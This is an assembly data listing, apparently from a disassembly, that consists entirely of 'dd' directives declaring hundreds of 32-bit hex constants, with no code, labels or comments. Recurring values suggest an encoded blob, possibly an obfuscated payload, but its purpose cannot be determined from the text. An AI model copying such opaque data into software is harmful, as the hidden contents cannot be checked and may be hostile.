dd 565DBFDBh, 0BE4F9832h, 27EF07F6h, 0DC7A0027h, 562C87E6h
dd 56EA4432h, 371B0752h, 36DAB132h, 37A5EB60h, 0E6CC0A54h
dd 0BF57B153h, 56ABB121h, 7DCF6474h, 7A527AF6h, 128BA57Fh
dd 4B3982F0h, 56C5D6ECh, 572EBE32h, 0AE57B132h, 0D6A4B132h
dd 56D5B12Ch, 56FE5852h, 0B31B132h, 3F0B6C30h, 0FC0E5163h
dd 0C31112E0h, 412A3E92h, 0DDCD5C5Ch, 56D5D0CCh, 56EAA3DBh
dd 163C6B32h, 2E1FC2Fh, 0E7255665h, 70DE200Ch, 56725AA6h
dd 8C1AD132h, 59B5D0CBh, 0E98C6A8Dh, 5614ACF7h, 5853D132h
dd 665DB132h, 6E876FB5h
dd 458C228Ah, 8A772CECh, 596CD1DFh, 59D9E872h, 5675B1BEh
dd 56DBD032h, 565D4D32h, 56A25852h, 0E9F2B132h, 0C78ED255h
dd 56D5BF3Fh, 0D78AD330h, 1BCC3DDAh, 376C3A55h, 55D1BE53h
dd 36AEB132h, 5657D0CEh, 307D3052h, 0D697B660h, 568B06D6h
dd 56754432h, 56BABDDBh, 4A1ECD32h, 0B62D382h, 0CF4B0B68h
dd 59ABB113h, 56D5BDB2h, 506FBE32h, 5975B132h, 56BAB1BDh
dd 0D052D132h, 56AEB130h, 0DD31EA64h, 56ABD0CAh, 56D5D052h
dd 0DDEC0052h, 5675D0FCh, 0BFBAB1CAh, 565DB13Ch, 9E318A08h
dd 79D9D584h, 8DF4826Ch, 56D5587Dh, 5561BE52h, 0D675B132h
dd 0EDDC0DC7h, 0BF3CC51Ch, 56AEB13Dh, 6B072B99h, 6730707Bh
dd 0E4F1C3BCh, 56C00C2Bh, 429DD132h, 0FBBAB132h, 60975B68h
dd 5557AA15h, 0BF3D5100h, 94F63504h, 1158420h, 0AF8BEF68h
dd 0D37AB132h, 56BAB138h, 8CD6D752h, 7F713054h, 5657D0ABh
dd 0AFABB1CAh, 453CB132h, 2FEAB132h, 52658DBDh, 1BF54E67h
dd 4E141B7h, 415008F5h, 51BEF6CBh, 68ABB132h, 0CEE2B25Eh
dd 56EACD9Eh, 3675B1CAh, 56BAA3DBh, 34A8B32h, 76378C12h
dd 9F6EBAE3h, 1CC45A84h, 0D621F079h, 598B6CEDh, 5675BBB2h
dd 0EE8D132h, 565D313Dh, 56CFB132h, 56574832h, 56AA313Dh
dd 562DB132h, 0D78CD132h, 59E093C0h, 56DB488Dh, 5CD0BE32h
dd 36AEB132h, 56573D3Dh, 0FFAB132h, 0BFD5B153h, 56EAB134h
dd 0F7CD3700h, 56BA66F2h, 5657363Dh, 30CEB132h, 3098738Ah
dd 37ABA98Dh, 0D4DAB132h, 56EAB135h, 56743B3Dh, 5643B132h
dd 0D70DD132h, 86DC71F1h, 37ABE920h, 0E8CBB132h, 46281DFFh
dd 0DC213054h, 5675D007h, 56BABBDBh, 5F4AFF32h, 0F5355A50h
dd 56E58B64h, 131FD132h, 56B464B8h, 5C61BE32h, 3675B132h
dd 30F369B2h, 2DFB42B3h, 0A3AEB153h, 0DE58B132h, 56ABB133h
dd 0BFD5B1CEh, 56EAB13Eh, 0F1909682h, 0FCB85C3h, 0A3784EF9h
dd 36AEB1C7h, 0E55F79B3h, 0AC20C06Eh, 0BFD5B153h, 56EAB121h
dd 0D30C452Dh, 93CDE656h, 0CA7D1FC9h, 0DC28D55Ch, 569D72F1h
dd 56AB4D32h, 59D5B1CAh, 56EABDBEh, 50F7BE32h, 59BAB132h
dd 565DB1B5h, 36AEB132h, 45BE79B9h, 0FFABB132h, 0AB1AA0CBh
dd 7C9B36DBh, 0EA0747DBh, 10387766h, 563C5ED3h, 5C46D132h
dd 257B132h, 1764944Bh, 44D273A2h, 0E8BD13Ah, 85943054h
dd 5643D044h, 56535832h, 167CB132h, 528CF73Eh, 90E34984h
dd 0FE20690Ch, 5616B132h, 56754932h, 56BABCDBh, 20204D32h
dd 138414AAh, 9A74967Ch, 56AB033Eh, 0C33B3152h, 0A3EAB153h
dd 5675A1DBh, 0B79C9632h, 566B7CFDh, 3C064EAAh, 32075AD3h
dd 59ABB142h, 56D5BCB5h, 56E25832h, 71ACB132h, 2EC97336h
dd 565D5C9Fh, 56B13C3Dh, 0D737B132h, 3ACEC4DAh, 56C75879h
dd 40F3B132h, 9D031F0Bh, 761B2900h, 4AE4A43Bh, 0FDB15A74h
dd 0AA57B153h, 5652B132h, 56C55832h, 32F8B132h, 523FDF18h
dd 99E77AF5h, 37FFE65Bh, 56AE81D3h, 564F353Dh, 4542B132h
dd 0FD5B132h, 93FF9CE8h, 0B1833563h, 3CE09C23h, 6F7614C9h
dd 0BECE401Bh, 5657B121h, 86618506h, 25E6838Eh, 73D9BDC9h
dd 7FEEE813h, 0D7D36EC1h, 324E82E2h, 56CFE90Bh, 0B5D7D132h
dd 4A8C0901h, 56B495F1h, 56FA5832h, 0C3ABB132h, 0ACE4354Bh
dd 0A36C4182h, 0DA26D7D5h, 5657E16Ah, 56A25952h, 0ECCAB132h
dd 0B2FE925Dh, 0BF73B6C4h, 56BAB139h, 5186264Bh, 9B6E4627h
dd 9AA0A23h, 0E9A44452h, 56B4D0E1h, 56E55832h, 0FACFB132h
dd 5CD39914h, 8611C83Fh, 0FC1D1C3Ch, 0A357B100h, 5F42B132h
dd 5CD5B132h, 0AC3D1298h, 0E9BBFDFDh, 5953B132h, 0A55DB132h
dd 852F1834h, 49F16E38h, 0E9AB428Eh, 56D5025Ah, 56EB3A3Dh
dd 568DB132h, 56BA4932h, 565B58CEh, 0E2B6B132h, 0A236EE2Bh
dd 0D7A4B132h, 56D5B134h, 0DC8BD152h, 5675D0ECh, 0AABAB1CAh
dd 595DB1CEh, 56AEB0BCh, 56574832h, 56ABA2DBh, 0FB9D5432h
dd 0E029BECFh, 0D8466E0Fh, 6A64618Eh, 8FDC5EE3h, 5652B132h
dd 51D7BE32h, 59ABB132h, 56D5B0BFh, 56EA4832h, 88F4D752h
dd 943A8D2Bh, 303DD069h, 56CF7EB9h, 56505832h, 5338B132h
dd 0AF43DA87h, 0BFEAB1C2h, 5675B137h, 0B0F3F993h, 365DB10Ah
dd 474765B8h, 0C657B132h, 62FA64C5h, 48C0CD23h, 9C141390h
dd 0B12B8F0h, 59BAB153h, 565DA7BFh, 4627BE32h, 0BF57B132h
dd 56ABB139h, 88AC3EEEh, 0DF4F7059h, 562DEF00h, 56BA4432h
dd 0BF5DB1C7h, 56AEB126h, 6B10D547h, 1FB2D754h, 0EE2F237h
dd 63FAA2A7h, 0AD152374h, 56B4313Dh, 5FB4B132h, 7BAEB132h
dd 5E2AB74Dh, 23C14508h, 0D1DAB132h, 56EAB13Fh, 5675B9DBh
dd 3B193932h, 0C019F3EFh, 36AEB17Eh, 37940E3Dh, 5653B132h
dd 56D35832h, 0ED15B132h, 39A70F21h, 0AA46B132h, 50B4B132h
dd 2AEB132h, 3CA160B7h, 0BFABB19Dh, 56D5B121h, 0C57E9FC6h
dd 0CC759905h, 5F810D95h, 10A3B79Ch, 0A3D47867h, 56A2B132h
dd 0DDCDD132h, 56DD59F1h, 0C2FEB132h, 0C8050843h, 51531F17h
dd 45DB132h, 0A399075Fh, 370D1B3Fh, 4242B132h, 68D5B132h
dd 0ABBD0B85h, 6C767013h, 0F9DBD96Fh, 7CE32ACAh, 56D64572h
dd 56574432h, 0FE890A52h, 0D2DAE024h, 56EAB130h, 5614F080h
dd 5B52D132h, 0F25DB132h, 88939E31h, 2C0A1DB5h, 0C5DA3F7Ch
dd 0F36958B3h, 0AAB5C28Ch, 41F5BE53h, 59BAB132h, 565DA0B9h
dd 56A25832h, 0A8F8B132h, 40CF0F7Fh, 6FA4A56Ch, 56EA0975h
dd 0BF75B1CAh, 56BAB138h, 3029E629h, 4285FB7Dh, 56574B3Eh
dd 36ABB1CAh, 56D5A5DAh, 8317D232h, 0EB6E9A3Dh, 0FC5D796h
dd 0BA4C75ABh, 0A8DF229Ch, 97DCD7ADh, 902AD76Bh, 56B476B0h
dd 56EA4432h, 789D152h, 8730D06Ch, 365DB153h, 534766B8h
dd 0DE57B132h, 0B8FBA404h, 0BFD5B153h, 56EAB121h, 344CA3ECh
dd 2791CCC9h, 408FBE34h, 1DE8CD3Eh, 561BE72Fh, 56AC5832h
dd 0AF9EB132h, 7B945C61h, 5975B143h, 56BAADB1h, 40D5BE32h
dd 0BFAEB132h, 5657B123h, 942E96A2h, 54619A98h, 0BDA0BE3Ch
dd 0CF7F8C71h, 56AE58A5h, 34C9B132h, 48B0683Ah, 0E914FC47h
dd 267E8547h, 0B0014B88h, 56EA322Fh, 567548CEh, 36BAB1CEh
dd 0DCA3063Dh, 59CED0EBh, 0D731468Dh, 378EB6C4h, 5620B132h
dd 765FD132h, 5675D0CEh, 59BAB1C7h, 565D9DB7h, 5D47D132h
dd 9057B132h, 0DCD9BD3Eh, 0BDEF2805h, 42028DA1h, 6275B132h
dd 0ABDB9795h, 1351E4E9h, 8A1B4DC2h, 428155C6h, 0EAEFB7Bh
dd 36D5B153h, 0D9E562B9h, 5675B131h, 37AE7FB2h, 59B4B132h
dd 0FAEB132h, 7E257BBCh, 0C64C9C7h, 0DCD19EA6h, 56EAF55Bh
dd 56754DCAh, 56AC393Dh, 0D152B132h, 56AEB122h, 5657BADBh
dd 0A192F032h, 56314F86h, 48995934h, 0D27AB132h, 56BAB123h
dd 565DBDDBh, 0AA719132h, 8A511D28h, 0DF288E4Dh, 0BFD5B182h
dd 56EAB13Ah, 0E8B6E672h, 0C4473FB0h, 928A3052h, 3792042Dh
dd 0DA58B132h, 56ABB13Eh, 296FD752h, 566BBE91h, 3775B132h
dd 0BFDAB132h, 565DB120h, 0F2E0012Ah, 0C0A237CBh, 0E7AA88A1h
dd 62F32157h, 568B2B3Eh, 56754832h, 56BAB6DBh, 5FE82232h
dd 0F69B4362h, 37AE3B52h, 565EB132h, 56C55832h, 15EBB132h
dd 0B6AB9DE1h, 0B5325254h, 7AF3FE38h, 0D0A11E59h, 5657B12Bh
dd 56B83E3Dh, 583CB132h, 0F1EAB132h, 0A3A3A627h, 240C9F54h
dd 5EEA7D4Eh, 36AEB1A6h
dd 8560854h, 0AFABB153h, 56D5B8DBh, 0BE826F32h, 509D12A7h
dd 56BA7932h, 5642353Dh, 0D0A1B132h, 5657B12Bh, 56ABA5DBh
dd 2C396C32h, 0CBC41E15h, 5DF2629Eh, 0BCC89DD5h, 0DD121C20h
dd 56A7584Eh, 532EB132h, 0B8177D01h, 56444048h, 56FA5832h
dd 740CB132h, 7C141426h, 24FD3322h, 0EDF32E04h, 5657FB8Bh
dd 56ABA1DBh, 817F5732h, 2942EB09h, 0CB68A159h, 0F883A72Bh
dd 5ED7BE44h, 36AEB132h, 4E6A0F54h, 56CAD052h, 515BBE32h
dd 59EAB132h, 5675B0B5h, 0E6DA4432h, 0D73BE294h, 93B1BE9h
dd 3657B153h, 37743A52h, 373E58B2h, 5A03B132h, 0B275B132h
dd 0E0457789h, 2C8D89A3h, 560F3371h, 5ED3BE32h, 59ABB132h
dd 56D5B3B3h, 368BD132h, 5675BCDAh, 94BFBF32h, 0DF6CED18h
dd 0BF151CF4h, 60E4A5B7h, 56A45968h, 5CD2B132h, 0A5BEE649h
dd 0C36DC9AAh, 292CB861h, 9DE2BE3Bh, 56AED068h, 56413E3Dh
dd 4742B132h, 26D5B132h, 0A0187259h, 64E27BE7h, 0BF67DBBEh
dd 0A1F3495h, 0D4A1B132h, 5657B139h, 27753052h, 59B9C06Dh
dd 568B6B8Dh, 56754832h, 59BAB1CBh, 565DA2B8h, 5B26BE32h
dd 0BF57B132h, 56ABB13Ah, 0BE9C0346h, 583E334Eh, 0D97AB132h
dd 56BAB13Ch, 565DB8DBh, 0A2294732h, 7EFF7CD3h, 56AB7199h
dd 56D5A1DBh, 3EE8E732h, 5E92562Eh, 517DE116h, 9FE718F3h
dd 36AEB103h, 56362580h, 5D2FBE32h, 36D5B132h, 9C480E54h
dd 6C312C8Bh, 56BAD005h, 0DA803152h, 8C25D752h, 0BCD0F54h
dd 56ABD053h, 30D80152h, 3723338Ah, 449CB132h, 0A4BAB132h
dd 479FB392h, 0CBB903D0h, 13A24E29h, 2B5CF9BDh, 59D5B17Dh
dd 56EAB9B9h, 54FBBE32h, 36BAB132h, 56555853h, 8D57B132h
dd 63870823h, 56ABBA34h, 56D5BADBh, 0E4E7BC32h, 0FDCD117Ah
dd 0EC36D3C2h, 0BF5DB1CAh, 56AEB139h, 9E6F6848h, 201EEFEBh
dd 565F1792h, 8658D132h, 5675D0CAh, 56BABADBh, 0B13AA32h
dd 0B2CD29A6h, 1222FE25h, 0A52AD752h, 56B45030h, 0D4E54932h
dd 5675B13Eh, 56BC3C3Dh, 0DA52B132h, 56AEB132h, 0D558B132h
dd 56ABB12Bh, 56D95852h, 4DBB132h, 1F7DC3D8h, 945DE094h
dd 0D952F1F6h, 56AEB132h, 0A357B153h, 56A2383Dh, 0E0B5B132h
dd 0EBD30A52h, 5614E7E9h, 5235BE32h, 365DB132h, 56CF48B9h
dd 56AF4D32h, 5C20BE32h, 36D5B132h, 303A063Dh, 42197AB3h
dd 0BFBAB153h, 565DB138h, 2288E12Fh, 0AABA8815h, 56ABC0B2h
dd 0B86FD752h, 8161D11Ch, 5614D0CEh, 4239BE32h, 0BF5DB132h
dd 56AEB13Dh, 5ED00B35h, 0E7241576h, 9388E839h, 0BF25441Bh
dd 5675B126h, 0ED5EB606h, 0C7EB4EF4h, 15D4610Ah, 6F7D10B0h
dd 0BF893DB8h, 0BFB5B132h, 56EAB139h, 80FC10E1h, 0A9880D5h
dd 30A7537Bh, 370F1D8Bh, 42BEB132h, 0ABABB132h, 568D6D4Bh
dd 64433858h, 9A9F1D0Ch, 11741517h, 561033C5h, 4527BE32h
dd 0BF57B132h, 56ABB13Ch, 597FFF2Ch, 0FCC7D084h, 0A62428DEh
dd 56BA649Ah, 0A873152h, 56A8343Dh, 0DC58B132h, 56ABB132h
dd 0E1DAD153h, 8C61D7F4h, 3675B153h, 56BABEDBh, 0D876C532h
dd 35080A36h, 0ED3A1828h, 880D5D9Bh, 0AED5B153h, 5003B132h
dd 0DC75B132h, 0A5A8F9F6h, 565D49ACh, 59D80652h, 5657B3B7h
dd 37CAD132h, 583CB132h, 50EAB132h, 799B5A15h, 0E424B60Ch
dd 181D3589h, 0BFAEB186h, 5657B137h, 6E49D6EAh, 56DB5839h
dd 0D56BB132h, 0AC827E19h, 2C9161DDh, 81D9513Eh, 0DBA1B132h
dd 5657B121h, 56ABBFDBh, 9E579932h, 0FDAE9C91h, 1EA8723Eh
dd 0BFAB5F07h, 565DB120h, 0A345B58Ch, 0E03DA66Bh, 0FE490664h
dd 2D3518E5h, 56EA3087h, 567D373Dh, 0D7DAB132h, 0B3560CC3h
dd 0D1A1D024h, 5657B13Ah, 56A93F3Dh, 37B5B132h, 598AB132h
dd 5675B0B6h, 8C3A4432h, 565DD071h, 59AEB1CAh, 5657A6B9h
dd 56B95832h, 430EB132h, 0A266251h, 0CB2C7A81h, 934B378Fh
dd 0D349A87h, 0D3A1B132h, 5657B120h, 56A25852h, 0E9CCB132h
dd 1F82C4F9h, 36DA0F74h, 56BAD053h, 565DB8DBh, 78CCFB32h
dd 82C6EB08h, 56AB84E5h, 56D5B8DBh, 79DF5A32h, 42CA2DADh
dd 56BA8DD2h, 0BF5DB1CEh, 56AEB120h, 0E68A8A02h, 9827E76Fh
dd 0EEBD7FCDh, 0C5E01E11h, 5675451Fh, 0B73BD752h, 0E83B1F19h
dd 56CFAF5Fh, 56585832h, 5FA6B132h, 0F35C0FAAh, 403D6EF3h
dd 0EB21384Dh, 0BFBAB145h, 565DB126h, 4BA78962h, 19663B2Eh
dd 0D0271F5Dh, 0C12650D0h, 0C423E97h, 5B9CB132h, 86BAB132h
dd 0CB1AB5F8h, 0A8AD5439h, 0C050B70Bh, 4626BE52h, 0BFD5B132h
dd 56EAB139h, 2AF4F95Bh, 3E240C57h, 0BE3E0C9Ah, 56AEB132h
dd 82BD3068h, 36AC57A5h, 0DEDAD1CEh, 56EAB132h, 3714D052h
dd 0DD783A52h, 0D3D0D0F5h, 514B3A08h, 565A5852h, 8F4DB132h
dd 0C6B2D72Eh, 803C37BAh, 0E8E34ED4h, 11ACDB9Bh, 59DF3853h
dd 36A9574Dh, 5652353Dh, 9C13B132h, 0D6D63A11h, 0DB8BC2F6h
dd 0B1E3C7B0h, 56B25835h, 3A0DB132h, 78A70A3Fh, 0D4DEEEE5h
dd 514DCE1Dh, 9854D752h, 0BF6AFC5Bh, 0D49DD056h, 0BFBAB105h
dd 565DB138h, 0E56B4E99h, 370629F0h, 4F43BD04h, 0AAD5B130h
dd 289433F5h, 5675B6D4h, 0DDB5B132h, 565DB126h, 56AEBEDBh
dd 3A1F5F32h, 0B4331C57h, 70CBC081h, 0FFE64848h, 56743E3Dh
dd 44FB132h, 0FD877CBh, 0A95135h, 0EE05D9CAh, 0A9572D9Ah
dd 0B6FC9C87h, 5069BE35h, 3675B132h, 37DAD052h, 0D3D04453h
dd 514DCEDAh, 5657B8DBh, 41630732h, 0E97D2B21h, 5C036BB2h
dd 2A75B132h, 4CC9950Bh, 388B1F6Bh, 0BF7E4E8Ch, 5657B135h
dd 0AD293C60h, 0DF3A0E6Fh, 0B6F704B7h, 521F4D35h, 46BAD9CEh
dd 0DF52B132h, 56AEB13Bh, 30AB3B52h, 0D2616FB3h, 5B95D953h
dd 0D0E5B131h, 5675B137h, 0AADBD152h, 58D9BE53h, 36AEB132h
dd 5657373Dh, 0D0A4B132h, 56D5B132h, 36EADB53h, 59A54E53h
dd 56BABEB9h, 56575832h, 0EA93B132h, 0FB1C075Bh, 7DD2539Ch
dd 56D25852h, 0C772B132h, 779BF438h, 0B303D7FEh, 5907D0A2h
dd 56AEB5BEh, 94DCD132h, 596BBA53h, 56D56EB6h, 0D78CD132h
dd 0AFCCB4C2h, 5337BE53h, 365DB132h, 37563A54h, 282933BBh
dd 4642B6D4h, 0CCD5B132h, 8A23DEB2h, 0F6418B7Ah, 0DC2BA9C6h
dd 0DF1D6EA6h, 0B0D023B0h, 56475835h, 647CB132h, 193CFEh
dd 0AA0EDBCFh, 0D92E6F1Bh, 1603033Ch, 0AE5DB23Fh, 0DFA149B9h
dd 5657B122h, 56ABBADBh, 9E0D0A32h, 93C404Bh, 8B77EC76h
dd 53537101h, 0BC5DB132h, 7D79EB4Ah, 0DE581BC1h, 56ABB135h
dd 56D4343Dh, 412B132h, 5675B9DBh, 0E13F7B32h, 0A988DCF9h
dd 59AADBFDh, 5657B0BFh, 56C34832h, 0A3D5B122h, 56EEB15Ah
dd 5C9CD132h, 7ABAB132h, 0ADBAC16Ah, 2D6B4632h, 809531CAh
dd 0AFABDB53h, 4B6023CDh, 0C16B6D2h, 567A343Dh, 5C53B132h
dd 125DB132h, 0FFFB97D1h, 53C283C4h, 0D5293835h, 0AFD257B3h
dd 8F6AD153h, 54F0BE08h, 0DDBAB132h, 0D3D6D0E3h, 5148CF4Ch
dd 593772CBh, 56ABB7B9h, 5659BE32h, 0D7EAB132h, 0CAA4F7DAh
dd 0D5B5D07Ah, 565DB13Ah, 56AC3D3Dh, 3737B132h, 0D46C4452h
dd 5135A8CBh, 56AAB132h, 5675B7DBh, 68A5E932h, 91F36345h
dd 0B6BF20B0h, 5647B135h, 36CA4432h, 0DDB36BB9h, 0AE29D0E2h
dd 5BF7BE52h, 0BFBAB132h, 565DB13Ah, 0C23E124Fh, 7512209Fh
dd 28D50BB9h, 0D4DAB6D4h, 56EAB13Ah, 5677343Dh, 37DAB132h
dd 595D8EB1h, 56AE77B6h
dd 51D4BE32h, 59ABB132h, 56D5B0B1h, 29694D32h, 0D27AB322h
dd 56BAB17Bh, 565C323Dh, 0AE56B132h, 5247CEB1h, 56C0353Dh
dd 0D52DB132h, 598AA5F5h, 5675A2B0h, 56B45832h, 3CBAB132h
dd 0D699EAD4h, 4F096410h, 0F86013E3h, 371C063Dh, 0A91516DBh
dd 567E58CDh, 504EB132h, 15222166h, 0CCD349C3h, 461076C0h
dd 56ABB133h, 56DD383Dh, 0DFE5B132h, 5675B130h, 0E653D052h
dd 0BFA24ECDh, 56AEB135h, 95D5B4FCh, 0BF2FD709h, 56D5B13Bh
dd 0A3529BB4h, 24AD44BAh, 46FD762Ch, 565DB131h, 56AEB4DBh
dd 72274E32h, 0D642DC0Ah, 362A4ECDh, 56EAA1DBh, 0A36D6932h
dd 9DED29DAh, 0C603CBFFh, 0C4368CABh, 3CB40920h, 37CA9F5Fh
dd 56D25852h, 0F4CEB132h, 2A17B112h, 8D3BD76Eh, 953CB11Bh
dd 56BF5952h, 0A140B132h, 410D160h, 9BF5F40Eh, 683473C3h
dd 59B2AF92h, 37E0488Dh, 0EF3BD167h, 0E9A1664Ch, 0BADCD0E5h
dd 5C42D1C7h, 1DD5B132h, 485C1358h, 98667A2Fh, 56BA5906h
dd 0D707B132h, 0B0355FD8h, 0D3584835h, 56ABB120h, 56D5BCDBh
dd 52AF5932h, 15D82F5Ah, 0D8CF88EDh, 0BF3DA5DCh, 56AEB13Ah
dd 0F141BE38h, 0D2EBABDAh, 0DDB442B9h, 0B06B0080h, 13FE4935h
dd 56B0583Ah, 8C80B132h, 9916055Bh, 54D11DA8h, 59CBB7BBh
dd 0DBDA798Dh, 56EAB137h, 0ECA63054h, 0D439D0A4h, 51BB3083h
dd 56BF5836h, 0E03FB132h, 0DA0D0B76h, 2740F70Ch, 30A379FAh
dd 37856BF8h, 6D3B52h, 3707D052h, 56A9333Dh, 0D958B132h
dd 56ABB133h, 942078CAh, 5003B136h, 8E75B132h, 49B8D7Ch
dd 59A5D148h, 56AEADB5h, 44BED132h, 5CABB132h, 8C788E3Bh
dd 9463A42Bh, 573279B4h, 0E0F89685h, 95D6D7CCh, 56AE5953h
dd 0D70DB132h, 0B03707D8h, 5E3CD135h, 0F2EAB132h, 2BEEBC7Eh
dd 30777BB9h, 374A138Ah, 9725D752h, 0DD3645B8h, 0B02A3280h
dd 0E4EE4935h, 510C3083h, 57BE353Dh, 0DDDAB132h, 37AC3AE2h
dd 0BFCE8FB9h, 5657B126h, 0A4D99500h, 0EC1DB29Dh, 320BBCD0h
dd 726CC01h, 0AACDA998h, 0AF823A53h, 57E1073Dh, 5650353Dh
dd 0D6A4B132h, 56D5B133h, 57AD47C7h, 9F0BEB2h, 0BFBAB132h
dd 565DB121h, 3D98D7BFh, 68371EEBh, 2D3DDC00h, 0D7D02661h
dd 59D3D325h, 5675A5B0h, 9EAD132h, 565DBADBh, 7CEF1832h
dd 0A07779EBh, 1BC119h, 0BF0CB253h, 56EAB13Ah, 0FF16BA41h
dd 85CF6D36h, 565DB7DBh, 0CC2CA332h, 0BF007113h, 56ABB128h
dd 0D60A3A52h, 368B22E6h, 0ACF21689h, 8F91D034h, 98D6D752h
dd 5BF6F68Ch, 0BF14D014h, 56ABB13Dh, 6BCF3E15h, 63DE24E9h
dd 0B58E300h, 15D95883h, 56565952h, 60A8B132h, 0A68C3F9h
dd 0A0167C86h, 56C459DCh, 3462B132h, 7B8AB246h, 1D34399Ah
dd 3EC02357h, 8CC2193h, 56505969h, 0D57CB132h, 0D18AFE13h
dd 9D6BD765h, 372DD6C9h, 64B334B9h, 5BB4B6D2h, 18AEB132h
dd 5B480CDEh, 4031688Eh, 0A1693236h, 0DF673ACAh, 0A3725121h
dd 56B6383Dh, 0D552B132h, 56AEB134h, 56573C3Dh, 8E90B132h
dd 56E8333Dh, 6D16B132h, 62F2BEEBh, 0BFBAB132h, 565DB13Bh
dd 755E63EBh, 0BA3905D5h, 526D32EFh, 56D9333Dh, 0D7E5B132h
dd 5675B134h, 56BA363Dh, 0DDB4B132h, 59514ECCh, 5657B7BCh
dd 0EDCDD132h, 6DB4DC3Fh, 186EBEFDh, 5975B132h, 56BAB0B0h
dd 0EBD44D32h, 514EA2BBh, 0A80A58CAh, 0BECB4ECDh, 56D5B122h
dd 9C21DF9Fh, 5391083Fh, 3ED98DC2h, 0D237ACC5h, 56AEA5DBh
dd 3FFC7E32h, 86C150E9h, 0EBC94FAEh, 475D2A7Dh, 0ADAD252Fh
dd 0E7DAEE01h, 56D0BED2h, 37AEB132h, 0DA58D053h, 56ABB13Fh
dd 56D5B9DBh, 0EE09A732h, 0B87CCA26h, 0D9B572AFh, 565DB13Ch
dd 56AEB8DBh, 30FDAE32h, 18C60BE7h, 0BFB5678Dh, 56EAB139h
dd 733D5C3Fh, 94A4F1Ah, 0BEE21E4Ch, 56AEB132h, 0A2BD3068h
dd 0BFAC57ACh, 56D5B13Fh, 0A3683EADh, 37529D58h, 1C52069Eh
dd 565558CCh, 0ED35B132h, 300D803Dh, 0EC200377h, 513330B1h
dd 56EABFDBh, 8FA30232h, 514A07DEh, 196FB162h, 0EFB05154h
dd 5657B032h, 596B82C7h, 56D5B9B4h, 5469BE32h, 3675B132h
dd 0BF114253h, 565DB13Ah, 0D7CA8E38h, 0EA151472h, 0D72833B9h
dd 0DF2CB6D4h, 0B06B00B0h, 57F2BE35h, 0A3BAB132h, 564F5853h
dd 0B87B132h, 74C3DEE7h, 164DD053h, 6AFEA3E2h, 0EEAC9ADEh
dd 5AFBBEF1h, 59BAB132h, 565DB7B5h, 562FBE32h, 0AA57B132h
dd 56A55852h, 0DC37B132h, 803F5B35h, 49DF0F29h, 518DB962h
dd 565DB1DAh, 0BC2FEB32h, 51B12E83h, 0F8D1CEh, 8454E869h
dd 0E93B259h, 0FF07753h, 0BD5135h, 565DA0DBh, 0A6E9F032h
dd 32B13C3Ch, 78BC8C8Ch, 0BC3503E7h, 6F82F20Ah, 59A1AE5Fh
dd 56BAA2B0h, 56535832h, 0C902B132h, 44242D81h, 7A5EC58Eh
dd 0FA323AAAh, 56E1343Dh, 3015B132h, 0BF3B43B9h, 76986AAEh
dd 7B1B4E53h, 5950511Bh, 56ABB0BCh, 0DB2C4D32h, 0B59559B7h
dd 56615835h, 7D8FB132h, 9EC4A4DBh, 5D0C2052h, 0C9A5B3C2h
dd 5F78FF4Bh, 862A9824h, 5003E3CBh, 3275B132h, 0BC856151h
dd 0AF0D444Fh, 562EB15Ah, 45D1BE32h, 36ABB132h, 56D5BADAh
dd 0EAF65E32h, 0B50A41ECh, 25C5B181h, 5637D06Dh, 8125D752h
dd 56DDBE62h, 0CABB132h, 28674E53h, 36ED574Ch, 566C323Dh
dd 4552B132h, 0F55DB132h, 0A296C429h, 1C7B6EA2h, 2E411138h
dd 15FE6668h, 30B244CFh, 136F62B3h, 0BF6A4E53h, 565DB126h
dd 0A9EEEAEBh, 0A4E8272h, 97CE697Ch, 0C23ACFADh, 986C8190h
dd 0F1A73152h, 0EDB2786h, 565DA1DBh, 0D045AE32h, 8FA075B5h
dd 0C6597C61h, 4F051CDFh, 5B03EB31h, 175B132h, 6DB1BA89h
dd 77C1F85Ch, 91A1700h, 56D7B15Ah, 5729BE32h, 0AED5B132h
dd 0A913B158h, 0B0F43280h, 933AD135h, 565058C3h, 0C934B132h
dd 5CA46F63h, 0B95C9BCDh, 37C20125h, 371261CDh, 56645952h
dd 0F48EB132h, 3E548CA2h, 7EB55Fh, 0A959836Bh, 3059133Ch
dd 378B61B9h, 4066BEF1h, 0BF75B132h, 56BAB123h, 7C90CAAAh
dd 6DE3CC8Fh, 0E1374F2Ah, 1D6F1A8Eh, 0BFB5E459h, 56EAB13Dh
dd 12CF438Dh, 0B6EA16FCh, 0AB29F56Ah, 5925A342h, 5657B2BCh
dd 0AD1CBE32h, 0BF393A53h, 56EAB121h, 5744D5DDh, 627A794Bh
dd 7D449984h, 4E02058Fh, 361D3FEBh, 56AC313Dh, 30B5B132h
dd 92FD42B3h, 56755953h, 0D7E0B132h, 0B0FC1BD8h, 0E8C8D135h
dd 0BF3786CCh, 56ABB13Bh, 9DBD968Fh, 1E1077CEh, 5914D0CAh
dd 56BAB9B8h, 0ADD6D132h, 0D19C0F54h, 5E223A53h, 56ABB8DBh
dd 0EC0DDC32h, 749FDA0h, 0C69D04E8h, 36BAB13Dh, 189330CEh
dd 37BD1F43h, 0A9AE4967h, 0B0D4BEA0h, 4351BE35h, 59EAB132h
dd 5675BEB6h, 56B05832h, 61BDB132h, 0F758575Dh, 7CC60964h
dd 4A22BE6Fh, 59D5B132h, 56EAA7B2h, 56645832h, 0FC63B132h
dd 1B8AEDE2h, 4562892Fh, 6059FACBh, 6DBD2F71h, 0D3DABD47h
dd 0A9154E90h, 5675B6DBh, 0DCC39232h, 593F74FEh, 56A197DAh
dd 5BD4BE32h, 0BFABB132h, 56D5B13Ah, 0A02981Ch, 0D97A48BDh
dd 56BB3D3Dh, 37A8B132h, 56AEA2DBh, 0BE6E0932h, 49EFA07Eh
dd 0FB0BD238h, 6F0306B1h, 605F4DBDh, 4E30BEFBh, 0BF5DB132h
dd 56AEB121h, 0BF0E1EFAh, 671E1A29h, 87F2EDB2h, 8CD21A92h
dd 94B6B874h, 0D7B5B13Ah, 565DB13Fh, 56AEB9DBh, 0A5742D32h
dd 1809E38Bh, 0E9B5E474h, 555CC7D6h, 0DD1448B8h, 543DBEDEh
dd 365DB132h, 442FBE53h
dd 0BF57B132h, 56ABB13Fh, 442CE929h, 2A7E20A8h, 5BE326BCh
dd 0AA7E327Fh, 565DB6DBh, 9F4B1832h, 0E1676D8h, 0DDCDD164h
dd 3682D0C5h, 371A3A54h, 50F9BE52h, 59BAB132h, 565DB1BCh
dd 0BFFDD032h, 5657B135h, 0B439B9F7h, 0BEFB5387h, 56EAB132h
dd 729F3068h, 0BFBD5791h, 565DB121h, 66FB168Bh, 22A1A2A1h
